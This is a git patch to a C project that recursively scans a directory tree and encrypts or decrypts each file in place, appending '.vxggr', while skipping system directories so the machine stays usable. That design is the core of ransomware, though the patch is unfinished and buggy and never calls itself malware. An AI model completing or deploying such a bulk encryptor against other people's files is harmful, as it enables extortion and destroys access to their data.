From 940bd53b5a6fc1864d6a57b16d7f1b4b594f1851 Mon Sep 17 00:00:00 2001 From: "@syxhe" Date: Thu, 15 Jan 2026 12:47:29 -0600 Subject: Work on _cryptscan__crypt and related functions --- src/encryption.c | 70 ++++++++++++++++++++++++++++++++++++-------------------- src/main.c | 2 +- src/shared.c | 22 +++++++++++++++++- src/threadpool.c | 2 +- 4 files changed, 68 insertions(+), 28 deletions(-) diff --git a/src/encryption.c b/src/encryption.c index a81e6aa..7d64564 100644 --- a/src/encryption.c +++ b/src/encryption.c @@ -32,6 +32,8 @@ #include #include +#include + #include #include @@ -402,39 +404,54 @@ enum CRYPTSCAN_CRYPTMODE { }; struct _cryptscan_args { - char *folder; + char *fsentry; taskqueue *toscan; ctqueue *tocrypt; + unsigned char *key; enum CRYPTSCAN_CRYPTMODE mode; }; -/// Directory entries (files and folders) to exclude from encryption -#define EXCLUDED_ENTRIES ((const char* const []){\ - /* Entries found in /home/ */ \ - ".config", ".bashrc", \ - /* Entries included for extra safety, so that the encryption doesn't accidentally render the system unusable */ \ - "bin", "dev", "lib", "root", "boot", "etc", "lib32", "run", "sys", "usr", "home", "lib64", "proc", "sbin", "var"\ -}) +#define ENCRYPTED_EXT ".vxggr" +#define DEFAULT_IGNORED "^(\\.config|\\.bashrc|bin|dev|lib|root|boot|etc|lib32|run|sys|usr|home|lib64|proc|sbin|var)" + +/// Workaround for scandir callback not letting me pass user arguments. Gross hack, but works +static enum CRYPTSCAN_CRYPTMODE _cryptscan__selector__csm = CRYPTSCAN_CRYPTMODE__UNSPEC; +/// TODO: Map out when this is supposed to change in the other cryptscan functions /// Helper function to select files to be encrypted static int _cryptscan__selector(const struct dirent *de) { // entries with non-zero returns get included, zeros get excluded if(!de) return 0; + enum CRYPTSCAN_CRYPTMODE mode = _cryptscan__selector__csm; + + if(_cryptscan__selector__csm <= CRYPTSCAN_CRYPTMODE__UNSPEC || _cryptscan__selector__csm >= CRYPTSCAN_CRYPTMODE__TOOBIG) { + if(___VXGG___VERBOSE_ERRORS___) WARN(ERANGE, "<_cryptscan__selector> Warning: Given mode is oob. Expected: [%d, %d], Got: %d",, CRYPTSCAN_CRYPTMODE__UNSPEC + 1, CRYPTSCAN_CRYPTMODE__TOOBIG - 1, mode); + return 0; + } - for(int i = 0; i < STATIC_ARRAY_LEN(EXCLUDED_ENTRIES); i++) { - // Would use strncmp here but d_name doesn't have a fixed size and is supposedly guaranteed to have a null terminator so it shouldn't be a big deal - if(strcmp(de->d_name, EXCLUDED_ENTRIES[i]) == 0) + // Initialize static values + static regex_t *ereg = NULL, *dreg = NULL; + if(ereg == NULL) { + ereg = VXGG_CALLOC(1, sizeof(*ereg)); + dreg = VXGG_CALLOC(1, sizeof(*dreg)); + if(!ereg || !dreg) { + if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__selector> Warning: Could not initialize regular expression memory, skipping scan of fs entity \"%s\"",, de->d_name); return 0; + } + + /// TODO: Check return values. Free the pointers and set to zero on error so the initialization runs again + regcomp(ereg, "\\" ENCRYPTED_EXT "|" DEFAULT_IGNORED, REG_EXTENDED | REG_ICASE | REG_NOSUB); + regcomp(dreg, "^(?!.+\\" ENCRYPTED_EXT ").+$|" DEFAULT_IGNORED, REG_EXTENDED | REG_ICASE | REG_NOSUB); } - return 1; + return regexec((mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? ereg : dreg, de->d_name, 0, NULL, 0); } void _cryptscan_args_free(void *data) { if(!data) return; struct _cryptscan_args *real = data; - free(real->folder); + free(real->fsentry); free(real); return; } @@ -459,11 +476,11 @@ int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ct if(!args) { if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not create arg holder for task",); } - args->folder = strdup(namelist[i]->d_name); + args->fsentry = strdup(namelist[i]->d_name); args->tocrypt = tocrypt; args->toscan = toscan; args->mode = mode; - if(!args->folder) {if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not duplicate file \"%s\"s name for processing",, namelist[i]->d_name); continue;} + if(!args->fsentry) {if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not duplicate file \"%s\"s name for processing",, namelist[i]->d_name); continue;} switch(namelist[i]->d_type) { // Try to stat the file if it's unknown @@ -478,7 +495,7 @@ int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ct case DT_REG: CRYPT: tmptsk = task_new(_cryptscan__crypt, _cryptscan_args_free, args); if(!tmptsk) { - if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate crypt task for \"%s\"",, args->folder); + if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate crypt task for \"%s\"",, args->fsentry); break; } @@ -497,7 +514,7 @@ int _cryptscan__process_scandir(const char * const folder, taskqueue *toscan, ct case DT_DIR: SCAN: tmptsk = task_new(_cryptscan__scan, _cryptscan_args_free, args); if(!tmptsk) { - if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate scan task for \"%s\"",, args->folder); + if(___VXGG___VERBOSE_ERRORS___) WARN(errno, "<_cryptscan__process_scandir> Warning: Could not generate scan task for \"%s\"",, args->fsentry); break; } @@ -534,24 +551,27 @@ _cryptscan__process_scandir_CLEANUP: int _cryptscan__scan(void *data) { if(!data) return -1; struct _cryptscan_args *real = data; - return _cryptscan__process_scandir(real->folder, real->toscan, real->tocrypt, real->mode); + return _cryptscan__process_scandir(real->fsentry, real->toscan, real->tocrypt, real->mode); } -// TODO: Implement +/// TODO: Implement int _cryptscan__crypt(void *data) { if(!data) return -1; + struct _cryptscan_args *real = data; + char *target = NULL, *output = NULL; - // Read data for filename & crypt mode to generate tasks + // Read data for filename & crypt mode to run the task + int (*fp)(const char *const, const char *const, const unsigned char *) = (real->mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? encryptviatmp : decryptto; + // If encrypting, take filename and append .vxggr to end. If decrypting, find .vxggr extension and truncate + target = real->fsentry; + output = (real->mode == CRYPTSCAN_CRYPTMODE__ENCRYPT) ? vxgg_sstrcat(target, ".vxggr") : memmove(output, target, strlen(target) - 6); + /// TODO: Keep track of the concat'ed name and free it once it's done being used - return 0; + return fp(target, output, real->key); } -// Going to implement this using a taskqueue. Each folder is added as a task to scan, with each file then added to a ctq for later. Scanning will be done linearly -// for my sake, and because I do not care to do generics in C beyond what is absolutely necessary (aka I don't want to implement a hashmap/hashset to make parallel -// execution efficient) - ctqueue * cryptscan(int threads, const char * const start, enum CRYPTSCAN_CRYPTMODE mode) { if(!start || threads < 1 || mode <= CRYPTSCAN_CRYPTMODE__UNSPEC || mode >= CRYPTSCAN_CRYPTMODE__TOOBIG) return NULL; diff --git a/src/main.c b/src/main.c index d0a7573..ac92c28 100755 --- a/src/main.c +++ b/src/main.c @@ -30,7 +30,7 @@ int main() { Clay_Arena arena = Clay_CreateArenaWithCapacityAndMemory(totalMem, VXGG_CALLOC(totalMem, 1)); Clay_Initialize(arena, (Clay_Dimensions){0, 0} /* TODO: Figure out how to get screen dims */, (Clay_ErrorHandler){handleClayErrors}); - // TODO: Figure out how to use clay + /// TODO: Figure out how to use clay return 0; } \ No newline at end of file diff --git a/src/shared.c b/src/shared.c index 4e3fa01..4fd8b33 100644 --- a/src/shared.c +++ b/src/shared.c @@ -64,11 +64,31 @@ void* VXGG_ALLOC(size_t size) { #define ERROR(status, errnum, format, ...) do {error((status), (errnum), (format)__VA_ARGS__); exit((status));} while (0) //! Spit out a warning using `error` #define WARN(errnum, format, ...) do {error(0, (errnum), (format)__VA_ARGS__);} while (0) -// TODO: gcc is yelling at me about these functions implicitly falling through. Not sure why +/// TODO: gcc is yelling at me about these functions implicitly falling through. Not sure why typedef int (*gcallback)(void*); //!< Generic callback signature typedef void (*fcallback)(void*); //!< free()-like callback signature +/** + * @brief Safe strcat implementation + * + * @param str1 A string of characters to append. Must be non-null + * @param str2 A string of characters being appended. Must be non-null + * @retval (char*)[NULL, char*] A heap-allocated, null terminated string consisting of `str1 + str2`. Null on error + */ +char* vxgg_sstrcat(const char *const str1, const char *const str2) { + if(!str1 || !str2) return NULL; + + size_t s1 = strlen(str1), s2 = strlen(str2); + char *res = VXGG_CALLOC(s1 + s2 + 1, sizeof(*res)); + if(!res) return NULL; + + memmove(res, str1, s1); + memmove(res + s1, str2, s2); + res[s1 + s2] = '\0'; + return res; +} + /** * @brief Read the entire contents of a file descriptor into a malloc()'ed buffer * diff --git a/src/threadpool.c b/src/threadpool.c index c345aef..b466b5b 100644 --- a/src/threadpool.c +++ b/src/threadpool.c @@ -480,7 +480,7 @@ static int __CTQ_CONSUMER(void *ctq) { thrd_exit(1); } -// TODO: Make this function return 0 or -1 depending on whether the overall ctq has been canceled or not. Canceling shouldn't +/// TODO: Make this function return 0 or -1 depending on whether the overall ctq has been canceled or not. Canceling shouldn't // be treated as an error /** -- cgit v1.2.3